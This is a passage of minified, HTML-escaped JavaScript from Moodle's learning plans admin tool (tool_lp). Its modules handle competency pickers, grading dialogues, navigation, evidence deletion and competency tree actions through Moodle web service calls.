node=self._find(&quot;[data-id=&quot;+id+&quot;]&quot;);node.length&amp;&amp;(tree.toggleItem(node),tree.updateFocus(node))}))},Picker.prototype.close=function(){this._popup.close(),this._reset()},Picker.prototype.display=function(){var self=this;return $.when(Str.get_string(&quot;competencypicker&quot;,&quot;tool_lp&quot;),self._render()).then((function(title,render){self._popup=new Dialogue(title,render[0],self._afterRender.bind(self))})).catch(Notification.exception)},Picker.prototype._fetchCompetencies=function(frameworkId,searchText){var self=this;return Ajax.call([{methodname:&quot;core_competency_search_competencies&quot;,args:{searchtext:searchText,competencyframeworkid:frameworkId}}])[0].done((function(competencies){function addCompetencyChildren(parent,competencies){for(var i=0;i&lt;competencies.length;i++)competencies[i].parentid==parent.id&amp;&amp;(parent.haschildren=!0,competencies[i].children=[],competencies[i].haschildren=!1,parent.children[parent.children.length]=competencies[i],addCompetencyChildren(competencies[i],competencies))}var i,comp,tree=[];for(i=0;i&lt;competencies.length;i++)&quot;0&quot;==(comp=competencies[i]).parentid&amp;&amp;(comp.children=[],comp.haschildren=0,tree[tree.length]=comp,addCompetencyChildren(comp,competencies));self._competencies=tree})).fail(Notification.exception)},Picker.prototype._find=function(selector){return $(this._popup.getContent()).find(selector)},Picker.prototype._getFramework=function(fid){var frm;return $.each(this._frameworks,(function(i,f){f.id!=fid||(frm=f)})),frm},Picker.prototype._loadCompetencies=function(){return this._fetchCompetencies(this._frameworkId,this._searchText)},Picker.prototype._loadFrameworks=function(){var self=this;return self._frameworks.length&gt;0?$.when():(self._singleFramework?Ajax.call([{methodname:&quot;core_competency_read_competency_framework&quot;,args:{id:this._frameworkId}}])[0].then((function(framework){return[framework]})):Ajax.call([{methodname:&quot;core_competency_list_competency_frameworks&quot;,args:{sort:&quot;shortname&quot;,context:{contextid:self._pageContextId},includes:self._pageContextIncludes,onlyvisible:self._onlyVisible}}])[0]).done((function(frameworks){self._frameworks=frameworks})).fail(Notification.exception)},Picker.prototype.on=function(type,handler){this._eventNode.on(type,handler)},Picker.prototype._preRender=function(){var self=this;return self._loadFrameworks().then((function(){return!self._frameworkId&amp;&amp;self._frameworks.length&gt;0&amp;&amp;(self._frameworkId=self._frameworks[0].id),self._frameworkId?self._loadCompetencies():(self._frameworks=[],$.when())}))},Picker.prototype._refresh=function(){var self=this;return self._render().then((function(html){self._find(&#039;[data-region=&quot;competencylinktree&quot;]&#039;).replaceWith(html),self._afterRender()}))},Picker.prototype._render=function(){var self=this;return self._preRender().then((function(){self._singleFramework||$.each(self._frameworks,(function(i,framework){framework.id==self._frameworkId?framework.selected=!0:framework.selected=!1}));var context={competencies:self._competencies,framework:self._getFramework(self._frameworkId),frameworks:self._frameworks,search:self._searchText,singleFramework:self._singleFramework};return Templates.render(&quot;tool_lp/competency_picker&quot;,context)}))},Picker.prototype._reset=function(){this._competencies=[],this._disallowedCompetencyIDs=[],this._popup=null,this._searchText=&quot;&quot;,this._selectedCompetencies=[]},Picker.prototype.setDisallowedCompetencyIDs=function(ids){this._disallowedCompetencyIDs=ids},Picker.prototype._trigger=function(type,data){this._eventNode.trigger(type,[data])},Picker}));
/**
 * Module to enable inline editing of a comptency grade.
 *
 * @module     tool_lp/grade_user_competency_inline
 * @copyright  2015 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/grade_user_competency_inline&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/log&quot;,&quot;tool_lp/grade_dialogue&quot;,&quot;tool_lp/event_base&quot;,&quot;tool_lp/scalevalues&quot;],(function($,notification,ajax,log,GradeDialogue,EventBase,ScaleValues){var InlineEditor=function(selector,scaleId,competencyId,userId,planId,courseId,chooseStr){EventBase.prototype.constructor.apply(this,[]);var trigger=$(selector);if(!trigger.length)throw new Error(&quot;Could not find the trigger&quot;);this._scaleId=scaleId,this._competencyId=competencyId,this._userId=userId,this._planId=planId,this._courseId=courseId,this._chooseStr=chooseStr,this._setUp(),trigger.click(function(e){e.preventDefault(),this._dialogue.display()}.bind(this)),this._planId?(this._methodName=&quot;core_competency_grade_competency_in_plan&quot;,this._args={competencyid:this._competencyId,planid:this._planId}):this._courseId?(this._methodName=&quot;core_competency_grade_competency_in_course&quot;,this._args={competencyid:this._competencyId,courseid:this._courseId,userid:this._userId}):(this._methodName=&quot;core_competency_grade_competency&quot;,this._args={userid:this._userId,competencyid:this._competencyId})};return(InlineEditor.prototype=Object.create(EventBase.prototype))._setUp=function(){var options=[],self=this;M.util.js_pending(&quot;tool_lp/grade_user_competency_inline:_setUp&quot;),ScaleValues.get_values(self._scaleId).then((function(scalevalues){options.push({value:&quot;&quot;,name:self._chooseStr});for(var i=0;i&lt;scalevalues.length;i++){var optionConfig=scalevalues[i];options.push({value:optionConfig.id,name:optionConfig.name})}return options})).then((function(options){return new GradeDialogue(options)})).then((function(dialogue){return dialogue.on(&quot;rated&quot;,(function(e,data){var args=self._args;args.grade=data.rating,args.note=data.note,ajax.call([{methodname:self._methodName,args:args,done:function(evidence){self._trigger(&quot;competencyupdated&quot;,{args:args,evidence:evidence})},fail:notification.exception}])})),dialogue})).then((function(dialogue){self._dialogue=dialogue,M.util.js_complete(&quot;tool_lp/grade_user_competency_inline:_setUp&quot;)})).fail(notification.exception)},InlineEditor.prototype._scaleId=null,InlineEditor.prototype._competencyId=null,InlineEditor.prototype._userId=null,InlineEditor.prototype._planId=null,InlineEditor.prototype._courseId=null,InlineEditor.prototype._chooseStr=null,InlineEditor.prototype._dialogue=null,InlineEditor}));
/**
 * Module to navigation between users in a course.
 *
 * @module     tool_lp/module_navigation
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/module_navigation&quot;,[&quot;jquery&quot;],(function($){var ModuleNavigation=function(moduleSelector,baseUrl,courseId,moduleId){this._baseUrl=baseUrl,this._moduleId=moduleId,this._courseId=courseId,$(moduleSelector).on(&quot;change&quot;,this._moduleChanged.bind(this))};return ModuleNavigation.prototype._moduleChanged=function(e){var queryStr=&quot;?mod=&quot;+$(e.target).val()+&quot;&amp;courseid=&quot;+this._courseId;document.location=this._baseUrl+queryStr},ModuleNavigation.prototype._courseId=null,ModuleNavigation.prototype._moduleId=null,ModuleNavigation.prototype._baseUrl=null,ModuleNavigation}));
/**
 * Wrapper for the YUI M.core.notification class. Allows us to
 * use the YUI version in AMD code until it is replaced.
 *
 * @module     tool_lp/dialogue
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/dialogue&quot;,[&quot;core/yui&quot;],(function(Y){var dialogue=function(title,content,afterShow,afterHide,wide,height){M.util.js_pending(&quot;tool_lp/dialogue:dialogue&quot;),this.yuiDialogue=null;var parent=this;void 0===wide&amp;&amp;(wide=!1),Y.use(&quot;moodle-core-notification&quot;,&quot;timers&quot;,(function(){var width=&quot;480px&quot;;wide&amp;&amp;(width=&quot;800px&quot;),height||(height=&quot;auto&quot;),parent.yuiDialogue=new M.core.dialogue({headerContent:title,bodyContent:content,draggable:!0,visible:!1,center:!0,modal:!0,width:width,height:height}),parent.yuiDialogue.before(&quot;visibleChange&quot;,(function(){M.util.js_pending(&quot;tool_lp/dialogue:before:visibleChange&quot;)})),parent.yuiDialogue.after(&quot;visibleChange&quot;,(function(e){e.newVal?void 0!==afterShow?Y.soon((function(){afterShow(parent),parent.yuiDialogue.centerDialogue(),M.util.js_complete(&quot;tool_lp/dialogue:before:visibleChange&quot;)})):M.util.js_complete(&quot;tool_lp/dialogue:before:visibleChange&quot;):void 0!==afterHide?Y.soon((function(){afterHide(parent),M.util.js_complete(&quot;tool_lp/dialogue:before:visibleChange&quot;)})):M.util.js_complete(&quot;tool_lp/dialogue:before:visibleChange&quot;)})),parent.yuiDialogue.show(),M.util.js_complete(&quot;tool_lp/dialogue:dialogue&quot;)}))};return dialogue.prototype.close=function(){this.yuiDialogue.hide(),this.yuiDialogue.destroy()},dialogue.prototype.getContent=function(){return this.yuiDialogue.bodyNode.getDOMNode()},dialogue}));
/**
 * Competency rule config.
 *
 * @module     tool_lp/competency_outcomes
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competency_outcomes&quot;,[&quot;jquery&quot;,&quot;core/str&quot;],(function($,Str){return{NONE:0,EVIDENCE:1,COMPLETE:2,RECOMMEND:3,getAll:function(){var self=this;return Str.get_strings([{key:&quot;competencyoutcome_none&quot;,component:&quot;tool_lp&quot;},{key:&quot;competencyoutcome_evidence&quot;,component:&quot;tool_lp&quot;},{key:&quot;competencyoutcome_recommend&quot;,component:&quot;tool_lp&quot;},{key:&quot;competencyoutcome_complete&quot;,component:&quot;tool_lp&quot;}]).then((function(strings){var outcomes={};return outcomes[self.NONE]={code:self.NONE,name:strings[0]},outcomes[self.EVIDENCE]={code:self.EVIDENCE,name:strings[1]},outcomes[self.RECOMMEND]={code:self.RECOMMEND,name:strings[2]},outcomes[self.COMPLETE]={code:self.COMPLETE,name:strings[3]},outcomes}))},getString:function(id){return this.getAll().then((function(outcomes){return void 0===outcomes[id]?$.Deferred().reject().promise():outcomes[id].name}))}}}));
/**
 * Handle add/remove competency links.
 *
 * @module     tool_lp/competencies
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencies&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/str&quot;,&quot;tool_lp/competencypicker&quot;,&quot;tool_lp/dragdrop-reorder&quot;,&quot;core/pending&quot;],(function($,notification,ajax,templates,str,Picker,dragdrop,Pending){var competencies=function(itemid,itemtype,pagectxid){this.itemid=itemid,this.itemtype=itemtype,this.pageContextId=pagectxid,this.pickerInstance=null,$(&#039;[data-region=&quot;actions&quot;] button&#039;).prop(&quot;disabled&quot;,!1),this.registerEvents(),this.registerDragDrop()};return competencies.prototype.registerDragDrop=function(){var localthis=this;str.get_string(&quot;movecompetency&quot;,&quot;tool_lp&quot;).done((function(movestring){dragdrop.dragdrop(&quot;movecompetency&quot;,movestring,{identifier:&quot;movecompetency&quot;,component:&quot;tool_lp&quot;},{identifier:&quot;movecompetencyafter&quot;,component:&quot;tool_lp&quot;},&quot;drag-samenode&quot;,&quot;drag-parentnode&quot;,&quot;drag-handlecontainer&quot;,(function(drag,drop){localthis.handleDrop(drag,drop)}))})).fail(notification.exception)},competencies.prototype.handleDrop=function(drag,drop){var fromid=$(drag).data(&quot;id&quot;),toid=$(drop).data(&quot;id&quot;),requests=[];if(&quot;course&quot;==this.itemtype)requests=ajax.call([{methodname:&quot;core_competency_reorder_course_competency&quot;,args:{courseid:this.itemid,competencyidfrom:fromid,competencyidto:toid}}]);else if(&quot;template&quot;==this.itemtype)requests=ajax.call([{methodname:&quot;core_competency_reorder_template_competency&quot;,args:{templateid:this.itemid,competencyidfrom:fromid,competencyidto:toid}}]);else{if(&quot;plan&quot;!=this.itemtype)return;requests=ajax.call([{methodname:&quot;core_competency_reorder_plan_competency&quot;,args:{planid:this.itemid,competencyidfrom:fromid,competencyidto:toid}}])}requests[0].fail(notification.exception)},competencies.prototype.pickCompetency=function(){var requests,pagerender,pageregion,pageContextIncludes,self=this;return self.pickerInstance||(&quot;template&quot;!==self.itemtype&amp;&amp;&quot;course&quot;!==self.itemtype||(pageContextIncludes=&quot;parents&quot;),self.pickerInstance=new Picker(self.pageContextId,!1,pageContextIncludes),self.pickerInstance.on(&quot;save&quot;,(function(e,data){var compIds=data.competencyIds,pendingPromise=new Pending;&quot;course&quot;===self.itemtype?(requests=[],$.each(compIds,(function(index,compId){requests.push({methodname:&quot;core_competency_add_competency_to_course&quot;,args:{courseid:self.itemid,competencyid:compId}})})),requests.push({methodname:&quot;tool_lp_data_for_course_competencies_page&quot;,args:{courseid:self.itemid,moduleid:0}}),pagerender=&quot;tool_lp/course_competencies_page&quot;,pageregion=&quot;coursecompetenciespage&quot;):&quot;template&quot;===self.itemtype?(requests=[],$.each(compIds,(function(index,compId){requests.push({methodname:&quot;core_competency_add_competency_to_template&quot;,args:{templateid:self.itemid,competencyid:compId}})})),requests.push({methodname:&quot;tool_lp_data_for_template_competencies_page&quot;,args:{templateid:self.itemid,pagecontext:{contextid:self.pageContextId}}}),pagerender=&quot;tool_lp/template_competencies_page&quot;,pageregion=&quot;templatecompetenciespage&quot;):&quot;plan&quot;===self.itemtype&amp;&amp;(requests=[],$.each(compIds,(function(index,compId){requests.push({methodname:&quot;core_competency_add_competency_to_plan&quot;,args:{planid:self.itemid,competencyid:compId}})})),requests.push({methodname:&quot;tool_lp_data_for_plan_page&quot;,args:{planid:self.itemid}}),pagerender=&quot;tool_lp/plan_page&quot;,pageregion=&quot;plan-page&quot;),ajax.call(requests)[requests.length-1].then((function(context){return templates.render(pagerender,context)})).then((function(html,js){templates.replaceNode($(&#039;[data-region=&quot;&#039;+pageregion+&#039;&quot;]&#039;),html,js)})).then(pendingPromise.resolve).catch(notification.exception)}))),self.pickerInstance.display()},competencies.prototype.doDelete=function(deleteid){var requests=[],pagerender=&quot;&quot;,pageregion=&quot;&quot;;&quot;course&quot;==this.itemtype?(requests=ajax.call([{methodname:&quot;core_competency_remove_competency_from_course&quot;,args:{courseid:this.itemid,competencyid:deleteid}},{methodname:&quot;tool_lp_data_for_course_competencies_page&quot;,args:{courseid:this.itemid,moduleid:0}}]),pagerender=&quot;tool_lp/course_competencies_page&quot;,pageregion=&quot;coursecompetenciespage&quot;):&quot;template&quot;==this.itemtype?(requests=ajax.call([{methodname:&quot;core_competency_remove_competency_from_template&quot;,args:{templateid:this.itemid,competencyid:deleteid}},{methodname:&quot;tool_lp_data_for_template_competencies_page&quot;,args:{templateid:this.itemid,pagecontext:{contextid:this.pageContextId}}}]),pagerender=&quot;tool_lp/template_competencies_page&quot;,pageregion=&quot;templatecompetenciespage&quot;):&quot;plan&quot;==this.itemtype&amp;&amp;(requests=ajax.call([{methodname:&quot;core_competency_remove_competency_from_plan&quot;,args:{planid:this.itemid,competencyid:deleteid}},{methodname:&quot;tool_lp_data_for_plan_page&quot;,args:{planid:this.itemid}}]),pagerender=&quot;tool_lp/plan_page&quot;,pageregion=&quot;plan-page&quot;),requests[1].done((function(context){templates.render(pagerender,context).done((function(html,js){$(&#039;[data-region=&quot;&#039;+pageregion+&#039;&quot;]&#039;).replaceWith(html),templates.runTemplateJS(js)})).fail(notification.exception)})).fail(notification.exception)},competencies.prototype.deleteHandler=function(deleteid){var message,localthis=this;if(&quot;course&quot;==localthis.itemtype)message=&quot;unlinkcompetencycourse&quot;;else if(&quot;template&quot;==localthis.itemtype)message=&quot;unlinkcompetencytemplate&quot;;else{if(&quot;plan&quot;!=localthis.itemtype)return;message=&quot;unlinkcompetencyplan&quot;}ajax.call([{methodname:&quot;core_competency_read_competency&quot;,args:{id:deleteid}}])[0].done((function(competency){str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:message,component:&quot;tool_lp&quot;,param:competency.shortname},{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){localthis.doDelete(deleteid)}))})).fail(notification.exception)})).fail(notification.exception)},competencies.prototype.registerEvents=function(){var localthis=this;&quot;course&quot;==localthis.itemtype&amp;&amp;$(&#039;[data-region=&quot;coursecompetenciespage&quot;]&#039;).on(&quot;change&quot;,&#039;select[data-field=&quot;ruleoutcome&quot;]&#039;,(function(e){var pendingPromise=new Pending,coursecompetencyid=$(e.target).data(&quot;id&quot;),ruleoutcome=$(e.target).val();ajax.call([{methodname:&quot;core_competency_set_course_competency_ruleoutcome&quot;,args:{coursecompetencyid:coursecompetencyid,ruleoutcome:ruleoutcome}},{methodname:&quot;tool_lp_data_for_course_competencies_page&quot;,args:{courseid:localthis.itemid,moduleid:0}}])[1].then((function(context){return templates.render(&quot;tool_lp/course_competencies_page&quot;,context)})).then((function(html,js){return templates.replaceNode($(&#039;[data-region=&quot;coursecompetenciespage&quot;]&#039;),html,js)})).then(pendingPromise.resolve).catch(notification.exception)})),$(&#039;[data-region=&quot;actions&quot;] button&#039;).click((function(e){var pendingPromise=new Pending;e.preventDefault(),localthis.pickCompetency().then(pendingPromise.resolve).catch()})),$(&#039;[data-action=&quot;delete-competency-link&quot;]&#039;).click((function(e){e.preventDefault();var deleteid=$(e.target).closest(&quot;[data-id]&quot;).data(&quot;id&quot;);localthis.deleteHandler(deleteid)}))},competencies}));
/**
 * Competency rule base module.
 *
 * @module     tool_lp/competencyrule
 * @copyright  2015 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competency_rule&quot;,[&quot;jquery&quot;],(function($){var Rule=function(tree){this._eventNode=$(&quot;&lt;div&gt;&quot;),this._ready=$.Deferred(),this._tree=tree};return Rule.prototype._competency=null,Rule.prototype._eventNode=null,Rule.prototype._ready=null,Rule.prototype._tree=null,Rule.prototype.canConfig=function(){return this._tree.hasChildren(this._competency.id)},Rule.prototype.getConfig=function(){return null},Rule.prototype.getType=function(){throw new Error(&quot;Not implemented&quot;)},Rule.prototype.init=function(){return this._load()},Rule.prototype.injectTemplate=function(){return $.Deferred().reject().promise()},Rule.prototype.isValid=function(){return!1},Rule.prototype._load=function(){return $.when()},Rule.prototype.on=function(type,handler){this._eventNode.on(type,handler)},Rule.prototype.setTargetCompetency=function(competency){this._competency=competency},Rule.prototype._trigger=function(type,data){this._eventNode.trigger(type,[data])},Rule.prototype._triggerChange=function(){this._trigger(&quot;change&quot;,this)},Rule}));
/**
 * Change the course competency settings in a popup.
 *
 * @module     tool_lp/configurecoursecompetencysettings
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/course_competency_settings&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;tool_lp/dialogue&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;,&quot;core/pending&quot;],(function($,notification,Dialogue,str,ajax,templates,Pending){var settingsMod=function(selector){$(selector).on(&quot;click&quot;,this.configureSettings.bind(this))};return settingsMod.prototype._dialogue=null,settingsMod.prototype.configureSettings=function(e){var pendingPromise=new Pending,context={courseid:$(e.target).closest(&quot;a&quot;).data(&quot;courseid&quot;),settings:{pushratingstouserplans:$(e.target).closest(&quot;a&quot;).data(&quot;pushratingstouserplans&quot;)}};e.preventDefault(),$.when(str.get_string(&quot;configurecoursecompetencysettings&quot;,&quot;tool_lp&quot;),templates.render(&quot;tool_lp/course_competency_settings&quot;,context)).then(function(title,templateResult){return this._dialogue=new Dialogue(title,templateResult[0],this.addListeners.bind(this)),this._dialogue}.bind(this)).then(pendingPromise.resolve).catch(notification.exception)},settingsMod.prototype.addListeners=function(){this._find(&#039;[data-action=&quot;save&quot;]&#039;).on(&quot;click&quot;,this.saveSettings.bind(this)),this._find(&#039;[data-action=&quot;cancel&quot;]&#039;).on(&quot;click&quot;,this.cancelChanges.bind(this))},settingsMod.prototype.cancelChanges=function(e){e.preventDefault(),this._dialogue.close()},settingsMod.prototype._find=function(selector){return $(&#039;[data-region=&quot;coursecompetencysettings&quot;]&#039;).find(selector)},settingsMod.prototype.saveSettings=function(e){var pendingPromise=new Pending;e.preventDefault();var newValue=this._find(&#039;input[name=&quot;pushratingstouserplans&quot;]:checked&#039;).val(),courseId=this._find(&#039;input[name=&quot;courseid&quot;]&#039;).val(),settings={pushratingstouserplans:newValue};ajax.call([{methodname:&quot;core_competency_update_course_competency_settings&quot;,args:{courseid:courseId,settings:settings}}])[0].then(function(){return this.refreshCourseCompetenciesPage()}.bind(this)).then(pendingPromise.resolve).catch(notification.exception)},settingsMod.prototype.refreshCourseCompetenciesPage=function(){var courseId=this._find(&#039;input[name=&quot;courseid&quot;]&#039;).val(),pendingPromise=new Pending;ajax.call([{methodname:&quot;tool_lp_data_for_course_competencies_page&quot;,args:{courseid:courseId,moduleid:0}}])[0].then((function(context){return templates.render(&quot;tool_lp/course_competencies_page&quot;,context)})).then(function(html,js){templates.replaceNode($(&#039;[data-region=&quot;coursecompetenciespage&quot;]&#039;),html,js),this._dialogue.close()}.bind(this)).then(pendingPromise.resolve).catch(notification.exception)},settingsMod}));
/**
 * Evidence delete.
 *
 * @module     tool_lp/evidence_delete
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/evidence_delete&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/log&quot;],(function($,Notification,Ajax,Str,Log){var selectors={};return{register:function(triggerSelector,containerSelector){void 0===selectors[triggerSelector]&amp;&amp;(selectors[triggerSelector]=$(&quot;body&quot;).delegate(triggerSelector,&quot;click&quot;,(function(e){var parent=$(e.currentTarget).parents(containerSelector);if(!parent.length||parent.length&gt;1)Log.error(&quot;None or too many evidence container were found.&quot;);else{var evidenceId=parent.data(&quot;id&quot;);evidenceId?(e.preventDefault(),e.stopPropagation(),Str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;areyousure&quot;,component:&quot;moodle&quot;},{key:&quot;delete&quot;,component:&quot;moodle&quot;},{key:&quot;cancel&quot;,component:&quot;moodle&quot;}]).done((function(strings){Notification.confirm(strings[0],strings[1],strings[2],strings[3],(function(){Ajax.call([{methodname:&quot;core_competency_delete_evidence&quot;,args:{id:evidenceId}}])[0].then((function(){parent.remove()})).fail(Notification.exception)}))})).fail(Notification.exception)):Log.error(&quot;Evidence ID was not found.&quot;)}})))}}}));
/**
 * Module to refresh a user competency summary in a page.
 *
 * @module     tool_lp/user_competency_info
 * @copyright  2015 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/user_competency_info&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,notification,ajax,templates){var Info=function(rootElement,competencyId,userId,planId,courseId,displayuser){this._rootElement=rootElement,this._competencyId=competencyId,this._userId=userId,this._planId=planId,this._courseId=courseId,this._valid=!0,this._displayuser=void 0!==displayuser&amp;&amp;displayuser,this._planId?(this._methodName=&quot;tool_lp_data_for_user_competency_summary_in_plan&quot;,this._args={competencyid:this._competencyId,planid:this._planId},this._templateName=&quot;tool_lp/user_competency_summary_in_plan&quot;):this._courseId?(this._methodName=&quot;tool_lp_data_for_user_competency_summary_in_course&quot;,this._args={userid:this._userId,competencyid:this._competencyId,courseid:this._courseId},this._templateName=&quot;tool_lp/user_competency_summary_in_course&quot;):(this._methodName=&quot;tool_lp_data_for_user_competency_summary&quot;,this._args={userid:this._userId,competencyid:this._competencyId},this._templateName=&quot;tool_lp/user_competency_summary&quot;)};return Info.prototype.reload=function(){var self=this;this._valid&amp;&amp;ajax.call([{methodname:this._methodName,args:this._args}])[0].done((function(context){self._displayuser&amp;&amp;(context.displayuser=!0),templates.render(self._templateName,context).done((function(html,js){templates.replaceNode(self._rootElement,html,js)})).fail(notification.exception)})).fail(notification.exception)},Info.prototype._rootElement=null,Info.prototype._courseId=null,Info.prototype._valid=null,Info.prototype._planId=null,Info.prototype._competencyId=null,Info.prototype._userId=null,Info.prototype._methodName=null,Info.prototype._args=null,Info.prototype._templateName=null,Info.prototype._displayuser=!1,Info}));
/**
 * Module to enable inline editing of a comptency grade.
 *
 * @module     tool_lp/user_competency_course_navigation
 * @copyright  2015 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/user_competency_course_navigation&quot;,[&quot;jquery&quot;],(function($){var UserCompetencyCourseNavigation=function(userSelector,competencySelector,baseUrl,userId,competencyId,courseId){this._baseUrl=baseUrl,this._userId=userId+&quot;&quot;,this._competencyId=competencyId+&quot;&quot;,this._courseId=courseId,$(userSelector).on(&quot;change&quot;,this._userChanged.bind(this)),$(competencySelector).on(&quot;change&quot;,this._competencyChanged.bind(this))};return UserCompetencyCourseNavigation.prototype._userChanged=function(e){var queryStr=&quot;?userid=&quot;+$(e.target).val()+&quot;&amp;courseid=&quot;+this._courseId+&quot;&amp;competencyid=&quot;+this._competencyId;document.location=this._baseUrl+queryStr},UserCompetencyCourseNavigation.prototype._competencyChanged=function(e){var newCompetencyId=$(e.target).val(),queryStr=&quot;?userid=&quot;+this._userId+&quot;&amp;courseid=&quot;+this._courseId+&quot;&amp;competencyid=&quot;+newCompetencyId;document.location=this._baseUrl+queryStr},UserCompetencyCourseNavigation.prototype._competencyId=null,UserCompetencyCourseNavigation.prototype._userId=null,UserCompetencyCourseNavigation.prototype._courseId=null,UserCompetencyCourseNavigation.prototype._baseUrl=null,UserCompetencyCourseNavigation.prototype._ignoreFirstCompetency=null,UserCompetencyCourseNavigation}));
/**
 * Handle selection changes and actions on the competency tree.
 *
 * @module     tool_lp/competencyactions
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_lp/competencyactions&quot;,[&quot;jquery&quot;,&quot;core/url&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/str&quot;,&quot;core/ajax&quot;,&quot;tool_lp/dragdrop-reorder&quot;,&quot;tool_lp/tree&quot;,&quot;tool_lp/dialogue&quot;,&quot;tool_lp/menubar&quot;,&quot;tool_lp/competencypicker&quot;,&quot;tool_lp/competency_outcomes&quot;,&quot;tool_lp/competencyruleconfig&quot;,&quot;core/pending&quot;],(function($,url,templates,notification,str,ajax,dragdrop,Ariatree,Dialogue,menubar,Picker,Outcomes,RuleConfig,Pending){var pageContextId,pickerInstance,ruleConfigInstance,relatedTarget,taxonomiesConstants,rulesModules,treeModel=null,moveSource=null,moveTarget=null,selectedCompetencyId=null,addHandler=function(){var parent=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;),params={competencyframeworkid:treeModel.getCompetencyFrameworkId(),pagecontextid:pageContextId};null!==parent&amp;&amp;(params.parentid=parent.id);var relocate=function(){var queryparams=$.param(params);window.location=url.relativeUrl(&quot;/admin/tool/lp/editcompetency.php?&quot;+queryparams)};null!==parent&amp;&amp;treeModel.hasRule(parent.id)?str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:&quot;addingcompetencywillresetparentrule&quot;,component:&quot;tool_lp&quot;,param:parent.shortname},{key:&quot;yes&quot;,component:&quot;core&quot;},{key:&quot;no&quot;,component:&quot;core&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],relocate)})).fail(notification.exception):relocate()},doMove=function(){var frameworkid=$(&#039;[data-region=&quot;filtercompetencies&quot;]&#039;).data(&quot;frameworkid&quot;);ajax.call([{methodname:&quot;core_competency_set_parent_competency&quot;,args:{competencyid:moveSource,parentid:moveTarget}},{methodname:&quot;tool_lp_data_for_competencies_manage_page&quot;,args:{competencyframeworkid:frameworkid,search:$(&#039;[data-region=&quot;filtercompetencies&quot;] input&#039;).val()}}])[1].done(reloadPage).fail(notification.exception)},confirmMove=function(){if((moveTarget=void 0===moveTarget?0:moveTarget)!=moveSource){var targetComp=treeModel.getCompetency(moveTarget)||{},sourceComp=treeModel.getCompetency(moveSource)||{},confirmMessage=&quot;movecompetencywillresetrules&quot;,showConfirm=!1;sourceComp.parentid!=moveTarget&amp;&amp;(targetComp.path&amp;&amp;targetComp.path.indexOf(&quot;/&quot;+sourceComp.id+&quot;/&quot;)&gt;=0&amp;&amp;(confirmMessage=&quot;movecompetencytochildofselfwillresetrules&quot;,showConfirm=showConfirm||treeModel.hasRule(sourceComp.id)),(showConfirm=showConfirm||treeModel.hasRule(targetComp.id)||treeModel.hasRule(sourceComp.parentid))?str.get_strings([{key:&quot;confirm&quot;,component:&quot;moodle&quot;},{key:confirmMessage,component:&quot;tool_lp&quot;},{key:&quot;yes&quot;,component:&quot;moodle&quot;},{key:&quot;no&quot;,component:&quot;moodle&quot;}]).done((function(strings){notification.confirm(strings[0],strings[1],strings[2],strings[3],doMove)})).fail(notification.exception):doMove())}},initMovePopup=function(popup){var body=$(popup.getContent()),treeRoot=body.find(&quot;[data-enhance=movetree]&quot;);new Ariatree(treeRoot,!1).on(&quot;selectionchanged&quot;,(function(evt,params){var target=params.selected;moveTarget=$(target).data(&quot;id&quot;)})),treeRoot.show(),body.on(&quot;click&quot;,&#039;[data-action=&quot;move&quot;]&#039;,(function(){popup.close(),confirmMove()})),body.on(&quot;click&quot;,&#039;[data-action=&quot;cancel&quot;]&#039;,(function(){popup.close()}))},addCompetencyChildren=function(parent,competencies){var i;for(i=0;i&lt;competencies.length;i++)competencies[i].parentid==parent.id&amp;&amp;(parent.haschildren=!0,competencies[i].children=[],competencies[i].haschildren=!1,parent.children[parent.children.length]=competencies[i],addCompetencyChildren(competencies[i],competencies))},moveHandler=function(e){e.preventDefault();var competency=$(&#039;[data-region=&quot;competencyactions&quot;]&#039;).data(&quot;competency&quot;);moveSource=competency.id;var 